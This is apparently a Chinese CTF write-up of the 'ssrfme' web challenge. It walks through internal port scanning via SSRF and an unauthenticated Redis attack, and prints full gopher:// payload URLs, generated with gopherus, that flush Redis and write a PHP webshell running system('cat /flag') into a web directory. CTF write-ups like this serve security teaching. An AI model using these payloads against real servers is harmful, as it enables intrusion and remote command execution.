当前位置: 首页 > news >正文

二月公开赛Web-ssrfme

目录

环境搭建

题目分析

分析代码

解题过程

Redis未授权访问

寻找Flag


环境搭建

进入含有docker-compose.yml的文件内,拉取容器镜像

docker-compose up -d

题目分析

访问容器地址172.25.254.200:8091查看题目

分析代码

url通过GET请求访问界面,过滤file://(本地文件协议),dict://协议等,例如

url通过GET请求参数info,会返回PHP的配置等信息,

 寻找有用的信息,IP等

 分析代码发现没有过滤http协议和gopher协议

使用http协议进行内网主机存活探测

解题过程

尝试使用url传递PHP中找到的IP访问

 使用burpsuite爆破查看这个服务器开放的端口,发现只开放了80一个端口

查看IP,172.18.0.2,是一个内网IP,

再次使用burpsuite爆破查看该网段是否有其他存活服务器,

发现了172.18.0.1:80和172.18.0.3:80,分别访问一下

 接着探测这两个服务器的哪些端口为开放状态,发现了172.20.0.3:6379,

访问发现端口有报错提示

这是Redis的报错,在执行 Redis 的GET命令时,传入的参数数量不正确。

说明这台内网主机上还运行着Redis服务。

因此可以尝试 Redis 未授权访问攻击

Redis未授权访问

这台内网服务器(172.18.0.3)上还存在http服务,所以将webshell写入其web目录,然后使用ssrf进行访问。

利用工具 gopherus 写webshell

路径先默认选择,写入一个php代码

<?php phpinfo();

将127.0.0.1替换为172.18.0.3

访问

http://172.25.254.250:8091/?url=gopher://172.18.0.3:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

上传失败

浏览器执行访问url时会现将其进行解码,尝试对url进行编码,再次访问,还是失败

是否是路径的问题?

猜测是/var/www/html/下的目录中的文件

使用Burpsuite爆破一下

发现存在upload文件夹

访问一下

再次生成shell,路径修改为/var/www/html/upload

将127.0.0.1改为172.18.0.3

上传访问,失败

对shell进行url编码

上传测试

查看后端,发现生成了 shell.php 文件

寻找Flag

再次使用工具生成shell

写入php代码为

<?php system('cat /flag');?>

修改ip,并对shell进行url编码

访问

http://172.25.254.250:8091/?url=gopher://172.18.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520/flag%2527%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

访问shell.php文件

Flag出现

相关文章:

  • 4月1号.
  • Redis:主从复制
  • 机器学习+EEG熵进行双相情感障碍诊断的综合评估
  • Git基本操作
  • ThreadLocal用法详解
  • 聊一聊缓存如何进行测试
  • 图片边缘采样
  • 自动化释放linux服务器内存脚本
  • 6-2 赶工中~
  • Https安全
  • ansible条件判断及循环
  • 【系统架构设计师】嵌入式操作系统的定义及特点
  • Spring实现WebScoket
  • UE5学习记录 part13
  • 无人机遥测系统工作与技术难点分析!
  • 本地部署DeepSeek-R1(Dify压力测试和性能调优)
  • GOAT‘S AI早鸟报Part11
  • 在Thinkphp中使用JWT 包括JWT是什么,JWT的优势
  • Crypto加密货币生态构成及较有前景的几个crypto项目
  • uniapp -- 列表垂直方向拖拽drag组件
  • 中国固体火箭发动机领域杰出专家赵殿礼逝世,享年92岁
  • 国新办发布《关于新冠疫情防控与病毒溯源的中方行动和立场》白皮书
  • 是否进行了及时有效处置?伤者情况如何?辽阳市相关负责人就饭店火灾事故答问
  • 招行一季度净利372.86亿降2.08%,营收降逾3%
  • 西湖大学本科招生新增三省两市,首次面向上海招生
  • 新造古镇丨上海古镇朱家角一年接待164万境外游客,凭啥?